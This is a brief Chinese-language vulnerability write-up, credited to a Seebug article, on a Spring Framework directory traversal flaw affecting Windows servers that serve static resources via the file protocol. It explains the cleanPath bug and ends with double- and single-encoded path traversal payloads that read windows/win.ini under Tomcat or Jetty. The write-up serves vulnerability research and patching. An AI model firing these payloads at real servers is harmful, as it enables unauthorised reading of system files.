原文出自:https://paper.seebug.org/665/
漏洞影响
Spring Framework 5.0 to 5.0.4.
Spring Framework 4.3 to 4.3.14
已不支持的旧版本仍然受影响
漏洞利用条件
Server运行于Windows系统上
要使用file协议打开资源文件目录
cleanPath的问题在于String[] pathArray = delimitedListToStringArray(pathToUse, "/");
这个是允许空元素存在的,也就是说cleanPath会把//当成一个目录,而操作系统是不会把//当成一个目录的。借用一张Orange大佬的图。
详细分析本文不做记录
注意事项
1、在Spring Framework 大于5.0.1的版本,双编码payload在tomcat、jetty下触发不了,
但是单编码payload可以在jetty下触发,tomcat下失败(因为在默认情况下Tomcat遇到包含%2f(/)、%5c(\)的URL直接http 400)
总结
Spring Framework <=5.0.1
tomcat、jetty:(双编码)
/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
Spring Framework >5.0.1
jetty:(单编码)
/resources/%5c%5c..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/windows/win.ini